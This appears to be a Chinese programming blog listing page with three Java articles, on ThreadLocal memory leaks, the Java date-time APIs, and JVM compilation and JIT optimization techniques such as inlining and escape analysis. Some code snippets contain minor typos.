ThreadLoca在并发场景中,应用非常多。那ThreadLocal是不是真的会造成内存泄漏?今天给大家做一个分享,个人见解,仅供参考。 1、ThreadLocal的基本原理 简单介绍一下ThreadLocal,在多线程并发访问同一个共享变量的情况下,如果不做同步控制的话,就可能会导致数据不一致的问题,所以,我们需要使用synchronized加锁来解决。 而ThreadLocal换了一个思路来处理多线程的情况, ThreadLocal本身并不存储数据,它使用了线程中的threadLocals属性,threadLocals的类型就是在ThreadLocal中的定义的ThreadLocalMap对象,当调用ThreadLocal的set(T value)方法时,ThreadLocal将自身的引用也就是this作为Key,然后,把用户传入的值作为Value存储到线程的ThreadLocalMap中,这就相当于每个线程的读写操作都是基于线程自身的一个私有副本,线程之间的数据是相互隔离的,互不影响。 这样一来基于ThreadLocal的操作也就不存在线程安全问题了。它相当于采用了用空间来换时间的思路,从而提高程序的执行效率。 2、四种对象引用 在ThreadLocalMap内部,维护了一个Entry数组table的属性,用来存储键值对的映射关系,来看这样一段代码片段: static class ThreadLocalMap { ... private Entry[] table; static class Entry implements WeakReference<ThreadLocal<?>> { Object value; Entry(ThreadLocal<?> k, Object v) { super(k); value = v; } } ... } Entry将ThreadLocal作为Key,值作为Value保存,它继承自WeakReference,注意构造函数里的第一行代码super(k),这意味着ThreadLocal对象是一个「弱引用」。有的小伙伴可能对「弱引用」不太熟悉,这里再介绍一下Java的四种引用关系。 在JDK1.2之后,Java对引用的概念做了一些扩充,将引用分为“强”、“软”、“弱”、“虚”四种,由强到弱依次为: 强引用:指代码中普遍存在的赋值行为,如:Object o = new Object(),只要强引用关系还在,对象就永远不会被回收。 软引用:还有用处,但不是必须存活的对象,JVM会在内存溢出前对其进行回收,例如:缓存。 弱引用:非必须存活的对象,引用关系比软引用还弱,不管内存是否够用,下次GC一定回收。 虚引用:也称“幽灵引用”、“幻影引用”,最弱的引用关系,完全不影响对象的回收,等同于没有引用,虚引用的唯一的目的是对象被回收时会收到一个系统通知。 这个描述还是比较官方的,简单总结一下,大家应该都追过剧,强引用就好比是男主角,怎么都死不了。软引用就像女主角,虽有一段经历,还是没走到最后。弱引用就是男二号,注定用来牺牲的。虚引用就是路人甲了。 3、造成内存泄漏的原因 内存泄漏和ThreadLocalMap中定义的Entry类有非常大的关系。 3.1内存泄漏相关概念 Memory overflow:内存溢出,没有足够的内存提供申请者使用。 Memory leak:内存泄漏是指程序中己动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。I内存泄漏的堆积终将导致内存溢出。 3.2 如果key使用强引用 假设ThreadLocalMap中的key使用了强引用,那么会出现内存泄漏吗? 此时ThreadLocal的内存图(实线表示强引用)如下: 假设在业务代码中使用完ThreadLocal, ThreadLocal ref被回收了 但是因为threadLocalMap的Entry强引用了threadLocal, 造成ThreadLocal无法被回收 在没有手动删除Entry以及CurrentThread依然运行的前提下, 始终有强引用链threadRef → currentThread → entry, Entry就不会被回收( Entry中包括了ThreadLocal实例和value), 导致Entry内存泄漏也就是说: ThreadLocalMap中的key使用了强引用, 是无法完全避免内存泄漏的 3.3 如果key使用弱引用 假设ThreadLocalMap中的key使用了弱引用, 那么会出现内存泄漏吗? 假设在业务代码中使用完ThreadLocal, ThreadLocal ref被回收了 由于threadLocalMap只持有ThreadLocal的弱引用, 没有任何强引用指向threadlocal实例, 所以threadlocal就可以顺利被gc回收, 此时Entry中的key = null 在没有手动删除Entry以及CurrentThread依然运行的前提下, 也存在有强引用链threadRef → currentThread → value, value就不会被回收, 而这块value永远不会被访问到了, 导致value内存泄漏也就是说: ThreadLocalMap中的key使用了弱引用, 也有可能内存泄漏。 3.4 内存泄漏的真实原因 出现内存泄漏的真实原因出改以上两种情况 比较以上两种情况,我们就会发现: 内存泄漏的发生跟 ThreadLocalIMap 中的 key 是否使用弱引用是没有关系的。那么内存泄漏的的真正原因是什么呢? 细心的同学会发现,在以上两种内存泄漏的情况中.都有两个前提: 没有手动侧除这个 Entry CurrentThread 依然运行 第一点很好理解,只要在使用完下 ThreadLocal ,调用其 remove 方法翻除对应的 Entry ,就能避免内存泄漏。 第二点稍微复杂一点,由于ThreodLocalMap 是 Threod 的一个属性,被当前线程所引甲丁所以它的生命周期跟 Thread 一样长。那么在使用完 ThreadLocal 的使用,如果当前Thread 也随之执行结束, ThreadLocalMap 自然也会被 gc 回收,从根源上避免了内存泄漏。 综上, ThreadLocal 内存泄漏的根源是: 由于ThreadLocalMap 的生命周期跟 Thread 一样长,如果没有手动删除对应 key 就会导致内存泄漏. 4、如何避免内存泄漏? 不要听到「内存泄漏」就不敢使用ThreadLocal,只要规范化使用是不会有问题的。我给大家支几个招: 1、每次使用完ThreadLocal都记得调用remove()方法清除数据。 2、将ThreadLocal变量尽可能地定义成static final,避免频繁创建ThreadLocal实例。这样也就保证程序一直存在ThreadLocal的强引用,也能保证任何时候都能通过ThreadLocal的弱引用访问到Entry的Value值,进而清除掉。 当然,就是使用不规范,ThreadLocal内部也做了一些优化,比如: 1、调用set()方法时,ThreadLocal会进行采样清理、全量清理,扩容时还会继续检查。 2、调用get()方法时,如果没有直接命中或者向后环形查找时也会进行清理。 3、调用remove()时,除了清理当前Entry,还会向后继续清理。
2024-01-18
216
0
0
网络聚合
2024-01-18
Java日期时间处理详解
Java中SimpleDateFormat、LocalDateTime和DateTimeFormatter的区别及使用 在Java的世界里,处理日期和时间是常见的任务。尤其在Java 8之前,SimpleDateFormat是处理日期和时间的主要方式。然而,Java 8引入了新的日期时间API,其中LocalDateTime和DateTimeFormatter成为了新的选择。本文将探讨这三者的区别,利弊以及它们的具体使用方法。 SimpleDateFormat SimpleDateFormat 是Java早期版本中用于日期时间格式化的类。它属于java.text包,提供了丰富的日期时间格式化功能。 优点 广泛使用:由于长时间存在,很多老项目都在使用它。 灵活性:支持自定义日期时间格式。 缺点 线程不安全:在多线程环境下,同一个SimpleDateFormat实例可能会导致数据不一致。 易出错:解析字符串为日期时,容易因格式不匹配而抛出异常。 使用示例 SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String dateStr = sdf.format(new Date()); Date date = sdf.parse("2024-01-12"); LocalDateTime LocalDateTime 是Java 8引入的日期时间API的一部分。它表示没有时区的日期和时间。 优点 不可变性:LocalDateTime实例是不可变的,这提高了线程安全性。 更多操作:提供了更多日期时间的操作方法,例如加减日期、时间计算等。 缺点 不包含时区信息:对于需要处理时区的场景,需要使用其他类如ZonedDateTime。 使用示例 LocalDateTime now = LocalDateTime.now(); LocalDateTime tomorrow = now.plusDays(1); DateTimeFormatter DateTimeFormatter 是用于格式化和解析日期时间的类,同样是Java 8引入的。 优点 线程安全:与SimpleDateFormat不同,DateTimeFormatter是线程安全的。 更多内置格式:提供了大量预定义的格式器。 缺点 学习曲线:对于习惯了SimpleDateFormat的开发者来说,可能需要时间去适应新的API。 使用示例 DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd"); String formattedDate = now.format(formatter); LocalDateTime date = LocalDateTime.parse("2024-01-12", formatter); 总结 虽然SimpleDateFormat在早期Java版本中使用广泛,但它的线程不安全使得在多线程环境下变得不可靠。Java 8的新日期时间API(LocalDateTime和DateTimeFormatter)提供了更强大的功能和更高的线程安全性,是现代Java应用的首选。 在实际开发中,推荐使用Java 8的日期时间API,它们不仅在性能上更优,而且在使用上也更为便捷和直观。不过,对于维护老旧代码或与旧系统交互时,了解SimpleDateFormat的使用仍然很有必要。
2024-01-18
223
0
0
网络聚合
2024-01-18
JVM学习-程序编译与优化
原文链接:https://gaoyubo.cn/blogs/89d6d9be.html 一、前端编译与优化 Java技术下讨论“编译期”需要结合具体上下文语境,因为它可能存在很多种情况: 前端编译器(叫“编译器的前端”更准确一些)把.java文件转变成.class文件的过程 JDK的Javac、Eclipse JDT中的增量式编译器(ECJ) 即时编译器(常称JIT编译器,Just In Time Compiler)运行期把字节码转变成本地机器码的过程 HotSpot虚拟机的C1、C2编译器,Graal编译器 提前编译器(常称AOT编译器,Ahead Of Time Compiler)直接把程序编译成与目标机器指令集相关的二进制代码的过程 JDK的Jaotc、GNU Compiler for the Java(GCJ)、Excelsior JET 。 本章标题中的“前端”指的是由前端编译器完成的编译行为,对于前端编译优化,有以下说法: 前端编译器对代码的运行效率几乎没有任何优化措施可言 Java虚拟机设计团队选择把对性能的优化全部集中到运行期的即时编译器中 这样可以让那些不是由Javac产生的Class文件也同样能享受到编译器优化措施所带来的性能红利 相当多新生的Java语法特性,都是靠编译器的“语法糖”来实现,而不是依赖字节码或者Java虚拟机的底层改进来支持。 Java中即时编译器在运行期的优化过程,支撑了程序执行效率的不断提升; 前端编译器在编译期的优化过程,支撑着程序员的编码效率和语言使用者的幸福感的提高 1.1Javac编译器 从Javac源代码的总体结构来看,编译过程大致可以分为1个准备过程和3个处理过程,它们分别如下所示: 准备过程:初始化插入式注解处理器 解析与填充符号表过程,包括: 词法、语法分析:将源代码的字符流转变为标记集合,构造出抽象语法树 填充符号表:产生符号地址和符号信息 插入式注解处理器的注解处理过程:插入式注解处理器的执行阶段 分析与字节码生成过程,包括: 标注检查:对语法的静态信息进行检查。 数据流及控制流分析:对程序动态运行过程进行检查。 解语法糖:将简化代码编写的语法糖还原为原有的形式。 字节码生成:将前面各个步骤所生成的信息转化成字节码。 对于以上过程:执行插入式注解时又可能会产生新的符号,如果有新的符号产生,就必须转 回到之前的解析、填充符号表的过程中重新处理这些新符号 整个编译过程主要的处理由图中标注的8个方法来完成 解析和填充符号表 词法语法分析 1.词法分析:词法分析是将源代码的字符流转变为标记(Token)集合的过程。 2.语法分析:语法分析是根据标记序列构造抽象语法树的过程 抽象语法树:抽象语法树(Abstract Syntax Tree,AST)是一 种用来描述程序代码语法结构的树形表示方式,抽象语法树的每一个节点都代表着程序代码中的一个语法结构 包、类型、修饰符、运算符、接口、返回值甚至连代码注释等都可以是一种特定的语法结构。 抽象语法树可通过Eclipse AST View插件查看,抽象语法树是以com.sun.tools.javac.tree.JCTree 类表示的 经过词法和语法分析生成语法树以后,编译器就不会再对源码字符流进行操作了,后续的操作都建立在抽象语法树之上 填充符号表 符号表(Symbol Table)是由一组符号地址和符号信息构成的数据结构(可以理解成哈希表中的键值对的存储形式) 符号表中所登记的信息在编译的不同阶段都要被用到: 语义分析的过程中,符号表所登记的内容将用于语义检查 (如检查一个名字的使用和原先的声明是否一致)和产生中间代码 目标代码生成阶段,当对符号名进行地址分配时,符号表是地址分配的直接依据。 注解处理器 可以把插入式注解处理器看作是一组编译器的插件,当这些插件工作时,允许读取、修改、添加抽象语法树中的任意元素。 譬如Java著名的编码效率工具Lombok,它可以通过注解来实现自动产生 getter/setter方法、进行空置检查、生成受查异常表、产生equals()和hashCode()方法,等等. 语义分析与字节码生成 语义分析的主要任务则是对结构上正确的源 程序进行上下文相关性质的检查,譬如进行类型检查、控制流检查、数据流检查,等等 int a = 1; boolean b = false; char c = 2; //后续可能出现的赋值运算: int d = a + c; int d = b + c; //错误, char d = a + c; //错误 //C语言中,a、b、c的上下文定义不变,第二、三种写法都是可以被正确编译的 我们编码时经常能在IDE 中看到由红线标注的错误提示,其中绝大部分都是来源于语义分析阶段的检查结果。 1.标注检查 标注检查步骤要检查的内容包括诸如变量使用前是否已被声明、变量与赋值之间的数据类型是否能够匹配,等等,刚才3个变量定义的例子就属于标注检查的处理范畴 在标注检查中,还会顺便进行 一个称为常量折叠(Constant Folding)的代码优化,这是Javac编译器会对源代码做的极少量优化措施 之一(代码优化几乎都在即时编译器中进行)。 int a = 2 + 1; 由于编译期间进行了常量折叠,所以在代码里面定 义“a=1+2”比起直接定义“a=3”来,并不会增加程序运行期哪怕仅仅一个处理器时钟周期的处理工作量。 2.数据及控制流分析 可以检查出诸如程序局部变量 在使用前是否有赋值、方法的每条路径是否都有返回值、是否所有的受查异常都被正确处理了等问题。 3.解语法糖 在Javac的源码中,解语法糖的过程由desugar()方法触发。 Java中最常见的语法糖包括了前面提到过的泛型、变长参数、自动装箱拆箱,等等。 4.字节码生成 字节码生成是Javac编译过程的最后一个阶段,在Javac源码里面由com.sun.tools.javac.jvm.Gen类来完成。 字节码生成阶段不仅仅是把前面各个步骤所生成的信息(语法树、符号表)转化成字节码指令写到磁盘中,编译器还进行了少量的代码添加和转换工作。 实例构造器()方法和类构造器()方法就是在这个阶段被添加到语 法树之中的 字符串的加操作替换为StringBuffer或StringBuilder(取决于目标代码的版本是否大于或等于JDK 5)的append()操 作,等等。 1.2语法糖的本质 泛型 泛型的本质是参数化类型或者参数化多态的应用,即可以将操作的数据类型指定为方法签名中的一种特殊参数。 Java选择的泛型实现方式叫作类型擦除式泛型:Java语言中的泛型只在程序源码中存在,在编译后的字节码文件中,全部泛型都被替换为原来的裸类型了,并且在相应的地方插入了强制转型代码。 类型擦除 裸类型”(Raw Type)的概念:裸类型应被视为所有该类型泛型化实例的共同父类型(Super Type) ArrayList<Integer> ilist = new ArrayList<Integer>(); ArrayList<String> slist = new ArrayList<String>(); ArrayList list; // 裸类型 list = ilist; list = slist; 如何实现裸类型? 直接在编译时把ArrayList 通过类型擦除还原回ArrayList,只在元素访问、修改时自动插入一些强制类型转换和检查指令 泛型擦除前的例子 public static void main(String[] args) { Map<String, String> map = new HashMap<String, String>(); map.put("hello", "你好"); map.put("how are you?", "吃了没?"); System.out.println(map.get("hello")); System.out.println(map.get("how are you?")); } 把这段Java代码编译成Class文件,然后再用字节码反编译工具进行反编译后,将会发现泛型都不见了 public static void main(String[] args) { Map map = new HashMap();//裸类型 map.put("hello", "你好"); map.put("how are you?", "吃了没?"); System.out.println((String) map.get("hello"));//强制类型转换 System.out.println((String) map.get("how are you?")); } 当泛型遇到重载 public class GenericTypes { public static void method(List<String> list) { System.out.println("invoke method(List<String> list)"); } public static void method(List<Integer> list) { System.out.println("invoke method(List<Integer> list)"); } } 参数列表在特征签名中,因此参数列表不同时,可以进行重载,但是由于所有泛型都需要通过类型擦出转化为裸类型,导致参数都是List list,所以不能重载。会报错。 自动装箱、拆箱与遍历循环 public static void main(String[] args) { List<Integer> list = Arrays.asList(1, 2, 3, 4); int sum = 0; for (int i : list) { sum += i; } System.out.println(sum); } 编译后: public static void main(String[] args) { List list = Arrays.asList( new Integer[] { Integer.valueOf(1), Integer.valueOf(2), Integer.valueOf(3), Integer.valueOf(4) }); int sum = 0; for (Iterator localIterator = list.iterator(); localIterator.hasNext(); ) { int i = ((Integer)localIterator.next()).intValue(); sum += i; } System.out.println(sum); } 二、后端编译与优化 如果把字节码看作是程序语言的一种中间表示形式(Intermediate Representation,IR)的话, 那编译器无论在何时、在何种状态下把Class文件转换成与本地基础设施(硬件指令集、操作系统)相关的二进制机器码,都可以视为整个编译过程的后端 2.1即时编译器 由于即时编译器编译本地代码需要占用程序运行时间,通常要编译出优化程度越高的代码,所花 费的时间便会越长; 而且想要编译出优化程度更高的代码,解释器可能还要替编译器收集性能监控信息,这对解释执行阶段的速度也有所影响。 为了在程序启动响应速度与运行效率之间达到最佳平衡: HotSpot虚拟机在编译子系统中加入了分层编译的功能,分层编译根据编译器编译、优化的规模与耗时,划分出不同的编译层次,其中包 括: 第0层。程序纯解释执行,并且解释器不开启性能监控功能(Profiling)。 第1层。使用客户端编译器将字节码编译为本地代码来运行,进行简单可靠的稳定优化,不开启 性能监控功能。 第2层。仍然使用客户端编译器执行,仅开启方法及回边次数统计等有限的性能监控功能。 第3层。仍然使用客户端编译器执行,开启全部性能监控,除了第2层的统计信息外,还会收集如分支跳转、虚方法调用版本等全部的统计信息。 第4层。使用服务端编译器将字节码编译为本地代码,相比起客户端编译器,服务端编译器会启 用更多编译耗时更长的优化,还会根据性能监控信息进行一些不可靠的激进优化。 编译对象与触发条件 会被即时编译器编译的目标是热点代码,这里所指的热点代码主要有两类: 被多次调用的方法。 被多次执行的循环体。 对于这两种情况,编译的目标对象都是整个方法体,而不会是单独的循环体。 这种编译方式因为 编译发生在方法执行的过程中,因此被很形象地称为栈上替换(On Stack Replacement,OSR),即方法的栈帧还在栈上,方法就被替换了。 多少次才算“多次”呢? 要知道某段代码是不是热点代码,是不是需要触发即时编译,这个行为称为“热点探测”(Hot Spot Code Detection),判定方式: 基于采样的热点探测(Sample Based Hot Spot Code Detection) 会周期性地检查各个线程的调用栈顶,如果发现某个方法经常出现在栈顶,那这个方法就是热点方法。 缺点:很难精确地确认一个方法的热度,容易因为受到线程阻塞或别的外界因素的影响而 扰乱热点探测 基于计数器的热点探测(Counter Based Hot Spot Code Detection) 为每个方法(甚至是代码块)建立计数器,统计方法的执行次数,如果执行次数超过一定的阈值就认为它是热点方法。 缺点:实现起来要麻烦一些,需要为每个方法建立并维护计数器,而且不能 直接获取到方法的调用关系 J9用过第一种采样热点探测,而在HotSpot 虚拟机中使用的是第二种基于计数器的热点探测方法, HotSpot 中每个方法的 2 个计数器 方法调用计数器 统计方法被调用的次数,处理多次调用的方法的。 默认统计的不是方法调用的绝对次数,而是方法在一段时间内被调用的次数,如果超过这个时间限制还没有达到判为热点代码的阈值,则该方法的调用计数器值减半。 关闭热度衰减:-XX: -UseCounterDecay(此时方法计数器统计的是方法被调用的绝对次数); 设置半衰期时间:-XX: CounterHalfLifeTime(单位是秒); 热度衰减过程是在 GC 时顺便进行。 默认阈值在客户端模式下是1500次,在服务端模式下是10000次, 回边计数器 统计一个方法中 “回边” 的次数,处理多次执行的循环体的。 回边:在字节码中遇到控制流向后跳转的指令(不是所有循环体都是回边,空循环体是自己跳向自己,没有向后跳,不算回边)。 调整回边计数器阈值:-XX: OnStackReplacePercentage(OSR比率) Client 模式:回边计数器的阈值 = 方法调用计数器阈值 * OSR比率 / 100; Server 模式:回边计数器的阈值 = 方法调用计数器阈值 * ( OSR比率 - 解释器监控比率 ) / 100; 编译过程 虚拟机在代码编译未完成时会按照解释方式继续执行,编译动作在后台的编译线程执行。 禁止后台编译:-XX: -BackgroundCompilation,打开后这个开关参数后,交编译请求的线程会等待编译完成,然后执行编译器输出的本地代码。 在后台编译过程中,客户端编译器与服务端编译器是有区别的。 客户端编译器 是一个相对简单快速的三段式编译器,主要的关注点在于局部性的优化,而放弃了许多耗时较长的全局优化手段。 第一个阶段,一个平台独立的前端将字节码构造成一种高级中间代码表示(High-Level Intermediate Representation,HIR,即与目标机器指令集无关的中间表示)。HIR使用静态单分配 (Static Single Assignment,SSA)的形式来代表代码值,这可以使得一些在HIR的构造过程之中和之后进行的优化动作更容易实现。在此之前编译器已经会在字节码上完成一部分基础优化,如方法内联、 常量传播等优化将会在字节码被构造成HIR之前完成。 第二个阶段,一个平台相关的后端从HIR中产生低级中间代码表示(Low-Level Intermediate Representation,LIR,即与目标机器指令集相关的中间表示),而在此之前会在HIR上完成另外一些优化,如空值检查消除、范围检查消除等,以便让HIR达到更高效的代码表示形式。 最后的阶段是在平台相关的后端使用线性扫描算法(Linear Scan Register Allocation)在LIR上分配寄存器,并在LIR上做窥孔(Peephole)优化,然后产生机器代码。客户端编译器大致的执行过程如图 服务端编译器 是专门面向服务端的典型应用场景,执行大部分经典的优化动作,如:无用代码消除(Dead Code Elimination)、循环展开 (Loop Unrolling)、循环表达式外提(Loop Expression Hoisting)、消除公共子表达式(Common Subexpression Elimination)、常量传播(Constant Propagation)、基本块重排序(Basic Block Reordering)等,还会实施一些与Java语言特性密切相关的优化技术,如范围检查消除(Range Check Elimination)、空值检查消除(Null Check Elimination,不过并非所有的空值检查消除都是依赖编译器优化的,有一些是代码运行过程中自动优化了)等。 另外,还可能根据解释器或客户端编译器提供的 性能监控信息,进行一些不稳定的预测性激进优化,如守护内联(Guarded Inlining)、分支频率预测 (Branch Frequency Prediction)等 服务端编译采用的寄存器分配器是一个全局图着色分配器,它可以充分利用某些处理器架构(如 RISC)上的大寄存器集合。 2.2提前编译器 现在提前编译产品和对其的研究有着两条明显的分支: 与传统C、C++编译器类似的,在程序运行之前把程序代码编译成机器码的静态翻译工作 把原本即时编译器在运行时要做的编译工作提前做好并保存下来,下次运行到这些代码(譬如公共库代码在被同一台机器其他Java进程使用)时直接把它加载进来使用。(本质是给即时编译器做缓存加速,去改善Java程序的启动时间) 在目前的Java技术体系里,这种提前编译已经完全被主流的商用JDK支持 困难:这种提前编译方式不仅要和目标机器相关,甚至还必须与HotSpot虚拟机的运行时参数绑定(如生成内存屏障代码)才能正确工作,要做提前编译的话,自然也要把这些配合的工作平移过去。 2.3即时编译器的优势 提前编译的代码输出质量,一定会比即时编译更高吗? 以下为即时编译器相较于提前编译器的优势: 性能分析制导优化(Profile-Guided Optimization,PGO) 抽象类通常会是什么实际类型、条件判断通常会走哪条分支、方法调用通常会选择哪个版本、循环通常会进行多少次等,这些数据一般在静态分析时是无法得到的,或者不可能存在确定且唯一的解, 最多只能依照一些启发性的条件去进行猜测。但在动态运行时却能看出它们具有非常明显的偏好性。就可以把热的代码集中放到 一起,集中优化和分配更好的资源(分支预测、寄存器、缓存等)给它。 激进预测性优化(Aggressive Speculative Optimization) 静态优化无论如何都必须保证优化后所有的程序外部可见影响(不仅仅是执行结果) 与优化前是等效的 然而,即时编译的策略就可以不必这样保守,可以大胆地按照高概率的假设进行优化,万一真的走到罕见分支上,大不了退回到低级编译器甚至解释器上去执行,并不会出现无法挽救的后果。 如果Java虚拟机真的遇到虚方法就去查虚表而不做内 联的话,Java技术可能就已经因性能问题而被淘汰很多年了。 实际上虚拟机会通过类继承关系分析等 一系列激进的猜测去做去虚拟化(Devitalization),以保证绝大部分有内联价值的虚方法都可以顺利内联。 链接时优化(Link-Time Optimization,LTO) 如C、C++的程序要调用某个动态链接库的某个方法,就会出现很明显的边界隔阂,还难以优化。 这是因为主程序与动态链接库的代码在它们编译时是完全独立的,两者各自编译、优化自己的代码。 然而,Java语言天生就是动态链接的,一个个 Class文件在运行期被加载到虚拟机内存当中。 三、编译器优化技术 类型 优化技术 编译器策略 (Compiler Tactics) 延迟编译 (Delayed Compilation) 分层编译 (Tiered Compilation) 栈上替换 (On-Stack Replacement) 延迟优化 (Delayed Reoptimization) 静态单赋值表示 (Static Single Assignment Representation) 基于性能监控的优化技术 (Profile-Based Techniques) 乐观空值断言 (Optimistic Nullness Assertions) 乐观类型断言 (Optimistic Type Assertions) 乐观类型增强 (Optimistic Type Strengthening) 乐观数组长度增强 (Optimistic Array Length Strengthening) 裁剪未被选择的分支 (Untaken Branch Pruning) 乐观的多态内联 (Optimistic N-morphic Inlining) 分支频率预测 (Branch Frequency Prediction) 调用频率预测 (Call Frequency Prediction) 基于证据的优化技术 (Proof-Based Techniques) 精确类型推断 (Exact Type Inference) 内存值推断 (Memory Value Inference) 内存值跟踪 (Memory Value Tracking) 常量折叠 (Constant Folding) 重组 (Reassociation) 操作符退化 (Operator Strength Reduction) 空值检查消除 (Null Check Elimination) 类型检测退化 (Type Test Strength Reduction) 类型检测消除 (Type Test Elimination) 代数简化 (Algebraic Simplification) 公共子表达式消除 (Common Subexpression Elimination) 数据流敏感重写 (Flow-Sensitive Rewrites) 条件常量传播 (Conditional Constant Propagation) 基于流承载的类型缩减转换 (Flow-Carried Type Narrowing) 无用代码消除 (Dead Code Elimination) 语言相关的优化技术 (Language-Specific Techniques) 类型继承关系分析 (Class Hierarchy Analysis) 去虚拟化 (Devirtualization) 符号常量传播 (Symbolic Constant Propagation) 自动装箱消除 (Autobox Elimination) 逃逸分析 (Escape Analysis) 锁消除 (Lock Elision) 锁膨胀 (Lock Coarsening) 消除反射 (De-reflection) 内存及代码位置变换 (Memory and Placement Transformation) 表达式提升 (Expression Hoisting) 表达式下沉 (Expression Sinking) 冗余存储消除 (Redundant Store Elimination) 相邻存储合并 (Adjacent Store Fusion) 交汇点分离 (Merge-Point Splitting) 循环变换 (Loop Transformations) 循环展开 (Loop Unrolling) 循环剥离 (Loop Peeling) 安全点消除 (Safepoint Elimination) 迭代范围分离 (Iteration Range Splitting) 范围检查消除 (Range Check Elimination) 循环向量化 (Loop Vectorization) 全局代码调整 (Global Code Shaping) 内联 (Inlining) 全局代码外提 (Global Code Motion) 基于热度的代码布局 (Heat-Based Code Layout) Switch调整 (Switch Balancing) 控制流图变换 (Control Flow Graph Transformation) 本地代码编排 (Local Code Scheduling) 本地代码封包 (Local Code Bundling) 延迟槽填充 (Delay Slot Filling) 着色图寄存器分配 (Graph-Coloring Register Allocation) 线性扫描寄存器分配 (Linear Scan Register Allocation) 复写聚合 (Copy Coalescing) 常量分裂 (Constant Splitting) 复写移除 (Copy Removal) 地址模式匹配 (Address Mode Matching) 指令窥空优化 (Instruction Peepholing) 基于确定有限状态机的代码生成 (DFA-Based Code Generator) 3.1一个优化的例子 原始代码: static class B { int value; final int get() { return value; } } public void foo() { y = b.get(); // ...do stuff... z = b.get(); sum = y + z; } 第一步优化: 方法内联(一般放在优化序列最前端,因为对其他优化有帮助) 目的: 去除方法调用的成本(如建立栈帧等) 为其他优化建立良好的基础 public void foo() { y = b.value; // ...do stuff... z = b.value; sum = y + z; } 第二步优化: 公共子表达式消除 public void foo() { y = b.value; // ...do stuff... // 因为这部分并没有改变 b.value 的值 // 如果把 b.value 看成一个表达式,就是公共表达式消除 z = y; // 把这一步的 b.value 替换成 y sum = y + z; } 第三步优化: 复写传播 public void foo() { y = b.value; // ...do stuff... y = y; // z 变量与以相同,完全没有必要使用一个新的额外变量 // 所以将 z 替换为 y sum = y + z; } 第四步优化: 无用代码消除 无用代码: 永远不会执行的代码 完全没有意义的代码 public void foo() { y = b.value; // ...do stuff... // y = y; 这句没有意义的,去除 sum = y + y; } 3.2方法内联 它是编译器最重要的优化手段,甚至都可以不加 上“之一”。 除了消除方法调用的成本之外,它更重要的意义是为其他优化手段建立良好的基础 目的是:去除方法调用的成本(如建立栈帧等),并为其他优化建立良好的基础,所以一般将方法内联放在优化序列最前端,因为它对其他优化有帮助。 为了解决虚方法的内联问题:引入类型继承关系分析(Class Hierarchy Analysis,CHA) 用于确定在目前已加载的类中,某个接口是否有多于一种的实现,某个类是否存在子类、子类是否为抽象类等。 对于非虚方法: 直接进行内联,其调用方法的版本在编译时已经确定,是根据变量的静态类型决定的。 对于虚方法: (激进优化,要预留“逃生门”) 向 CHA 查询此方法在当前程序下是否有多个目标可选择; 只有一个目标版本: 先对这唯一的目标进行内联; 如果之后的执行中,虚拟机没有加载到会令这个方法接收者的继承关系发生改变的新类,则该内联代码可以一直使用; 如果加载到导致继承关系发生变化的新类,就抛弃已编译的代码,退回到解释状态进行执行,或者重新进行编译。 有多个目标版本: 使用内联缓存,未发生方法调用前,内联缓存为空; 第一次调用发生后,记录调用方法的对象的版本信息; 之后的每次调用都要先与内联缓存中的对象版本信息进行比较; 版本信息一样,继续使用内联代码,是一种单态内联缓存(Monomorphic Inline Cache) 版本信息不一样,说明程序使用了虚方法的多态特性,退化成超多态内联缓存(Megamorphic Inline Cache),查找虚方法进行方法分派。 3.3逃逸分析【最前沿】 基本行为 分析对象的作用域,看它有没有能在当前作用域之外使用: 方法逃逸:对象在方法中定义之后,能被外部方法引用,如作为参数传递到了其他方法中。 线程逃逸:赋值给 static 变量,或可以在其他线程中访问的实例变量。 对于不会逃逸到方法或线程外的对象能进行优化 栈上分配: 对于不会逃逸到方法外的对象,可以在栈上分配内存,这样这个对象所占用的空间可以随栈帧出栈而销毁,减小 GC 的压力。 标量替换(重要): 标量:基本数据类型和 reference。 不创建对象,而是将对象拆分成一个一个标量,然后直接在栈上分配,是栈上分配的一种实现方式。 HotSpot 使用的是标量替换而不是栈上分配,因为实现栈上分配需要更改大量假设了 “对象只能在堆中分配” 的代码。 同步消除 如果逃逸分析能够确定一个变量不会逃逸出线程,无法被其他线程访问,对这个变量实施的同步措施也就可以安全地消除掉。 虚拟机参数 开启逃逸分析:-XX: +DoEscapeAnalysis 开启标量替换:-XX: +EliminateAnalysis 开启锁消除:-XX: +EliminateLocks 查看分析结果:-XX: PrintEscapeAnalysis 查看标量替换情况:-XX: PrintEliminateAllocations 例子 Point类的代码,这就是一个包含x和y坐标的POJO类型 // 完全未优化的代码 public int test(int x) { int xx = x + 2; Point p = new Point(xx, 42); return p.getX(); } 步骤1:构造函数内联 public int test(int x) { int xx = x + 2; Point p = point_memory_alloc(); // 在堆中分配P对象的示意方法 p.x = xx; // Point构造函数被内联后的样子 p.y = 42; return p.x; // Point::getX()被内联后的样子 } 步骤2:标量替换 经过逃逸分析,发现在整个test()方法的范围内Point对象实例不会发生任何程度的逃逸, 这样可以对它进行标量替换优化,把其内部的x和y直接置换出来,分解为test()方法内的局部变量,从 而避免Point对象实例被实际创建 public int test(int x) { int xx = x + 2; int px = xx; int py = 42; return px; } 步骤3:无效代码消除 通过数据流分析,发现py的值其实对方法不会造成任何影响,那就可以放心地去做无效代码消除得到最终优化结果, public int test(int x) { return x + 2; }
2024-01-18
239
0
0
网络聚合
68
69
70
71
72